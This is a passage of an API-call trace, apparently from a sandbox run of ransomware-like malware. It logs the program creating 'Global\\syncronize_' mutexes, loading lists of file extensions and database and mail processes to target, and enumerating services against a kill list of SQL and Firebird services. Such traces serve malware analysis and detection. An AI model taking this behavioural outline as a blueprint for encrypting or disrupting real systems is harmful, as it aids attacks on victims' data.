(hModule=0x75e90000, lpProcName="CreateThread") returned 0x75ea46b0 [0120.414] GetProcAddress (hModule=0x75e90000, lpProcName="ExpandEnvironmentStringsW") returned 0x75ea4a40 [0120.414] GetProcAddress (hModule=0x75e90000, lpProcName="QueryPerformanceCounter") returned 0x75ea5da0 [0120.414] GetProcAddress (hModule=0x75e90000, lpProcName="QueryPerformanceFrequency") returned 0x75ea5dc0 [0120.414] GetProcAddress (hModule=0x75e90000, lpProcName="GetCurrentProcessId") returned 0x75efea20 [0120.414] GetProcAddress (hModule=0x75e90000, lpProcName="SetFileAttributesW") returned 0x75eff100 [0120.414] GetProcAddress (hModule=0x75e90000, lpProcName="GetVolumeInformationW") returned 0x75eff020 [0120.414] GetProcAddress (hModule=0x75e90000, lpProcName="WriteFile") returned 0x75eff180 [0120.415] GetProcAddress (hModule=0x75e90000, lpProcName="SetFilePointerEx") returned 0x75eff130 [0120.415] GetProcAddress (hModule=0x75e90000, lpProcName="SetEndOfFile") returned 0x75eff0e0 [0120.415] GetProcAddress (hModule=0x75e90000, lpProcName="FindFirstFileW") returned 0x75efedf0 [0120.415] GetProcAddress (hModule=0x75e90000, lpProcName="GetProcessHeap") returned 0x75ea51f0 [0120.415] GetProcAddress (hModule=0x75e90000, lpProcName="HeapReAlloc") returned 0x77bef630 [0120.415] GetProcAddress (hModule=0x75e90000, lpProcName="HeapAlloc") returned 0x77bf2dc0 [0120.415] GetProcAddress (hModule=0x75e90000, lpProcName="HeapFree") returned 0x75ea57f0 [0120.415] GetProcAddress (hModule=0x75e90000, lpProcName="CreatePipe") returned 0x75ea4590 [0120.416] GetProcAddress (hModule=0x75e90000, lpProcName="SetHandleInformation") returned 0x75efeae0 [0120.416] GetProcAddress (hModule=0x75e90000, lpProcName="CreateProcessW") returned 0x75ea4610 [0120.416] GetProcAddress (hModule=0x75e90000, lpProcName="CompareStringW") returned 0x75ea4430 [0120.416] GetProcAddress (hModule=0x75e90000, lpProcName="CompareStringA") returned 0x75ea4410 [0120.416] GetProcAddress (hModule=0x75e90000, lpProcName="OpenProcess") returned 0x75ea5cc0 [0120.416] GetProcAddress (hModule=0x75e90000, lpProcName="TerminateProcess") returned 0x75ea67e0 [0120.416] GetProcAddress (hModule=0x75e90000, lpProcName="GetSystemTime") returned 0x75ea54e0 [0120.416] GetProcAddress (hModule=0x75e90000, lpProcName="SystemTimeToFileTime") returned 0x75ea67a0 [0120.416] GetProcAddress (hModule=0x75e90000, lpProcName="GetLastError") returned 0x75ea5010 [0120.417] GetProcAddress (hModule=0x75e90000, lpProcName="CreateToolhelp32Snapshot") returned 0x75ededc0 [0120.417] GetProcAddress (hModule=0x75e90000, lpProcName="Process32NextW") returned 0x75edf8f0 [0120.417] GetProcAddress (hModule=0x75e90000, lpProcName="Process32FirstW") returned 0x75edf750 [0120.417] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x761b0000 [0120.417] GetProcAddress (hModule=0x761b0000, lpProcName="RegOpenKeyExW") returned 0x761ce580 [0120.417] GetProcAddress (hModule=0x761b0000, lpProcName="RegQueryValueExW") returned 0x761ce5a0 [0120.417] GetProcAddress (hModule=0x761b0000, lpProcName="RegSetValueExW") returned 0x761cf530 [0120.417] GetProcAddress (hModule=0x761b0000, lpProcName="RegCloseKey") returned 0x761ced60 [0120.418] GetProcAddress (hModule=0x761b0000, lpProcName="OpenProcessToken") returned 0x761cefb0 [0120.418] GetProcAddress (hModule=0x761b0000, lpProcName="GetTokenInformation") returned 0x761cee90 [0120.418] GetProcAddress (hModule=0x761b0000, lpProcName="OpenSCManagerW") returned 0x761d0540 [0120.418] GetProcAddress (hModule=0x761b0000, lpProcName="OpenServiceW") returned 0x761cfa20 [0120.418] GetProcAddress (hModule=0x761b0000, lpProcName="CloseServiceHandle") returned 0x761cfc00 [0120.418] GetProcAddress (hModule=0x761b0000, lpProcName="ControlService") returned 0x761e26d0 [0120.418] GetProcAddress (hModule=0x761b0000, lpProcName="QueryServiceStatus") returned 0x761d2380 [0120.418] GetProcAddress (hModule=0x761b0000, lpProcName="EnumDependentServicesW") returned 0x761e2f70 [0120.418] GetProcAddress (hModule=0x761b0000, lpProcName="EnumServicesStatusExW") returned 0x761cfc80 [0120.418] LoadLibraryA (lpLibFileName="user32.dll") returned 0x74b70000 [0120.419] GetProcAddress (hModule=0x74b70000, lpProcName="SystemParametersInfoW") returned 0x74b9f210 [0120.419] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x76480000 [0120.419] GetProcAddress (hModule=0x76480000, lpProcName="ShellExecuteExW") returned 0x765e4730 [0120.419] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77bb0000 [0120.419] GetProcAddress (hModule=0x77bb0000, lpProcName="NtQuerySystemInformation") returned 0x77c22070 [0120.419] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x72fd0000 [0120.546] GetProcAddress (hModule=0x72fd0000, lpProcName="WNetCloseEnum") returned 0x72fd2640 [0120.546] GetProcAddress (hModule=0x72fd0000, lpProcName="WNetOpenEnumW") returned 0x72fd2790 [0120.546] GetProcAddress (hModule=0x72fd0000, lpProcName="WNetEnumResourceW") returned 0x72fd2410 [0120.546] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x746a0000 [0120.772] GetProcAddress (hModule=0x746a0000, lpProcName="WSAStartup") returned 0x746a5b40 [0120.772] GetProcAddress (hModule=0x746a0000, lpProcName="socket") returned 0x746b4510 [0120.772] GetProcAddress (hModule=0x746a0000, lpProcName="send") returned 0x746a5030 [0120.772] GetProcAddress (hModule=0x746a0000, lpProcName="recv") returned 0x746b0c50 [0120.772] GetProcAddress (hModule=0x746a0000, lpProcName="connect") returned 0x746a5410 [0120.772] GetProcAddress (hModule=0x746a0000, lpProcName="closesocket") returned 0x746b0910 [0120.772] GetProcAddress (hModule=0x746a0000, lpProcName="gethostbyname") returned 0x746d6cb0 [0120.773] GetProcAddress (hModule=0x746a0000, lpProcName="inet_addr") returned 0x746b9160 [0120.773] GetProcAddress (hModule=0x746a0000, lpProcName="ntohl") returned 0x746a49d0 [0120.773] GetProcAddress (hModule=0x746a0000, lpProcName="htonl") returned 0x746a49d0 [0120.773] GetProcAddress (hModule=0x746a0000, lpProcName="htons") returned 0x746b8ff0 [0120.773] GetProcessHeap () returned 0x5a0000 [0120.773] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5dee58 [0120.773] QueryPerformanceCounter (in: lpPerformanceCount=0x19fdb0 | out: lpPerformanceCount=0x19fdb0*=13889663881) returned 1 [0120.773] GetTickCount () returned 0x21e6b [0120.773] GetCurrentProcessId () returned 0x794 [0120.774] GetTickCount () returned 0x21e6b [0120.774] GetTickCount () returned 0x21e6b [0120.774] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5deea8 [0120.774] GetVersion () returned 0x23f00206 [0120.774] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x7) returned 0x5ba0d8 [0120.774] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e0820 [0120.774] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e0820, Size=0x20) returned 0x5deb60 [0120.774] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5deb60, Size=0x40) returned 0x5b1fd8 [0120.775] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x6005a0 [0120.775] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_Q25317A") returned 0x0 [0120.775] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_Q25317A") returned 0xf3c [0120.775] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5ba0d8 | out: hHeap=0x5a0000) returned 1 [0120.775] lstrlenW (lpString="Global\\syncronize_") returned 18 [0120.775] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b1fd8 | out: hHeap=0x5a0000) returned 1 [0120.775] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x7) returned 0x5ba098 [0120.775] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e0940 [0120.775] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e0940, Size=0x20) returned 0x5deb60 [0120.775] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5deb60, Size=0x40) returned 0x5b22f0 [0120.775] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x6105a8 [0120.776] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_Q25317U") returned 0x0 [0120.776] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_Q25317U") returned 0xf40 [0120.776] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5ba098 | out: hHeap=0x5a0000) returned 1 [0120.776] lstrlenW (lpString="Global\\syncronize_") returned 18 [0120.776] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b22f0 | out: hHeap=0x5a0000) returned 1 [0120.776] GetVersion () returned 0x23f00206 [0120.776] GetCurrentProcess () returned 0xffffffff [0120.776] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19fd9c | out: TokenHandle=0x19fd9c*=0xf44) returned 1 [0120.776] GetTokenInformation (in: TokenHandle=0xf44, TokenInformationClass=0x14, TokenInformation=0x19fd98, TokenInformationLength=0x4, ReturnLength=0x19fda4 | out: TokenInformation=0x19fd98, ReturnLength=0x19fda4) returned 1 [0120.776] CloseHandle (hObject=0xf44) returned 1 [0120.776] WaitForSingleObject (hHandle=0xf40, dwMilliseconds=0x0) returned 0x0 [0120.776] WaitForSingleObject (hHandle=0xf3c, dwMilliseconds=0x3e8) returned 0x0 [0120.776] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x14) returned 0x5b82a8 [0120.777] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e08b0 [0120.777] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e08b0, Size=0x20) returned 0x5dedb8 [0120.777] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5dedb8, Size=0x40) returned 0x5b20b0 [0120.777] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b20b0, Size=0x80) returned 0x5a66f8 [0120.777] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5a66f8, Size=0x100) returned 0x5ae298 [0120.777] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x34) returned 0x5baaf8 [0120.777] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x4) returned 0x5ba138 [0120.777] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x4) returned 0x5ba0d8 [0120.777] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5ba098 [0120.777] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5e0988 [0120.777] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x4) returned 0x5ba0e8 [0120.777] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e0868 [0120.777] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5ba0e8, Size=0x8) returned 0x5ba108 [0120.777] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5e07c0 [0120.777] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5ba108, Size=0x10) returned 0x5e0aa8 [0120.777] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e0880 [0120.777] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e07f0 [0120.777] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e0aa8, Size=0x20) returned 0x5debd8 [0120.777] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5e0a78 [0120.777] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e08e0 [0120.777] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5ba138, Size=0x8) returned 0x5ba0e8 [0120.777] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5ba0d8, Size=0x8) returned 0x5ba108 [0120.777] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5ba0d8 [0120.777] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5e0a30 [0120.777] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x4) returned 0x5ba118 [0120.777] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e0898 [0120.777] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5ba118, Size=0x8) returned 0x5ba128 [0120.777] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e0928 [0120.777] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5ba128, Size=0x10) returned 0x5e08b0 [0120.777] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e08c8 [0120.777] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5ba118 [0120.777] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e08b0, Size=0x20) returned 0x5dec50 [0120.777] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5ba0e8, Size=0x10) returned 0x5e09a0 [0120.777] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5ba108, Size=0x10) returned 0x5e0a48 [0120.778] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5ba0e8 [0120.778] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5e0838 [0120.778] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x4) returned 0x5ba108 [0120.778] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e0a60 [0120.778] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5ba108, Size=0x8) returned 0x5ba128 [0120.778] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5ba108 [0120.778] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5e0a00 [0120.778] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x4) returned 0x5ba138 [0120.778] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e0a90 [0120.778] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5ba138, Size=0x8) returned 0x5b40f8 [0120.778] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e09a0, Size=0x20) returned 0x5dee80 [0120.778] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e0a48, Size=0x20) returned 0x5dec78 [0120.778] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x8) returned 0x5b40c8 [0120.778] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5e07d8 [0120.778] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x4) returned 0x5b41a8 [0120.778] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xa) returned 0x5e0a48 [0120.778] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b41a8, Size=0x8) returned 0x5b4148 [0120.778] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x14) returned 0x5b83e8 [0120.778] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x14) returned 0x5b8508 [0120.778] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0120.778] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5ae298 | out: hHeap=0x5a0000) returned 1 [0120.778] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x19fde8 | out: lpWSAData=0x19fde8) returned 0 [0120.783] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e0958 [0120.783] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e0958, Size=0x20) returned 0x5ded40 [0120.783] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5ded40, Size=0x40) returned 0x5b1fd8 [0120.783] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b1fd8, Size=0x80) returned 0x5a66f8 [0120.783] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5a66f8, Size=0x100) returned 0x5ae298 [0120.783] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e0808 [0120.783] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e0808, Size=0x20) returned 0x5dec00 [0120.783] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5dec00, Size=0x40) returned 0x5b2068 [0120.783] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b2068, Size=0x80) returned 0x5a66f8 [0120.783] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5a66f8, Size=0x100) returned 0x5b1c10 [0120.783] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5e09a0 [0120.783] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x4) returned 0x5b4118 [0120.783] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5e0940 [0120.783] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b4118, Size=0x8) returned 0x5b4048 [0120.783] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x14) returned 0x5b8268 [0120.783] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b4048, Size=0x10) returned 0x5e0808 [0120.783] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x18) returned 0x5b84c8 [0120.783] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1a) returned 0x5dec00 [0120.783] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e0808, Size=0x20) returned 0x5dede0 [0120.783] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1c) returned 0x5deb60 [0120.783] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x16) returned 0x5b8548 [0120.783] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1a) returned 0x5deca0 [0120.783] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x5e0aa8 [0120.783] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x4) returned 0x5b4118 [0120.783] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x40) returned 0x5b1fd8 [0120.783] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b4118, Size=0x8) returned 0x5b4208 [0120.783] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x3c) returned 0x5b2068 [0120.783] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b4208, Size=0x10) returned 0x5e0820 [0120.783] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x14) returned 0x5b85a8 [0120.783] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x18) returned 0x5b82c8 [0120.783] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e0820, Size=0x20) returned 0x5decf0 [0120.783] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x24) returned 0x5b6ef0 [0120.784] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0120.784] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5ae298 | out: hHeap=0x5a0000) returned 1 [0120.784] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0120.784] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b1c10 | out: hHeap=0x5a0000) returned 1 [0120.784] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5ded68 [0120.787] EnumServicesStatusExW (in: hSCManager=0x5ded68, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 0 [0120.788] GetLastError () returned 0xea [0120.788] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1c76) returned 0x5e2270 [0120.788] EnumServicesStatusExW (in: hSCManager=0x5ded68, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5e2270, cbBufSize=0x1c76, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5e2270, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 1 [0120.789] CloseServiceHandle (hSCObject=0x5ded68) returned 1 [0120.790] lstrlenW (lpString="Appinfo") returned 7 [0120.790] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0120.790] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0120.790] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0120.790] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0120.790] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0120.790] lstrlenW (lpString="AppXSvc") returned 7 [0120.790] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0120.790] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0120.790] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0120.790] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0120.790] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0120.790] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0120.790] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0120.790] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0120.790] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0120.790] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0120.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0120.791] lstrlenW (lpString="Audiosrv") returned 8 [0120.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0120.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0120.791] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0120.791] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0120.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0120.791] lstrlenW (lpString="BFE") returned 3 [0120.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0120.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0120.791] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0120.791] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0120.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0120.791] lstrlenW (lpString="BITS") returned 4 [0120.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0120.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0120.791] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0120.791] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0120.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0120.791] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0120.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0120.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0120.791] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0120.791] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0120.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0120.791] lstrlenW (lpString="CDPSvc") returned 6 [0120.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0120.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0120.791] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0120.791] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0120.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0120.792] lstrlenW (lpString="ClickToRunSvc") returned 13 [0120.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0120.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0120.792] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0120.792] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0120.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0120.792] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0120.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0120.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0120.792] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0120.792] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0120.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0120.792] lstrlenW (lpString="CryptSvc") returned 8 [0120.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0120.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0120.792] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0120.792] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0120.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0120.792] lstrlenW (lpString="DcomLaunch") returned 10 [0120.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0120.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0120.792] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0120.792] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0120.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0120.792] lstrlenW (lpString="DeviceAssociationService") returned 24 [0120.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0120.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0120.792] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0120.793] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0120.793] lstrcmpiW (lpString1="sqlserveradhelper", 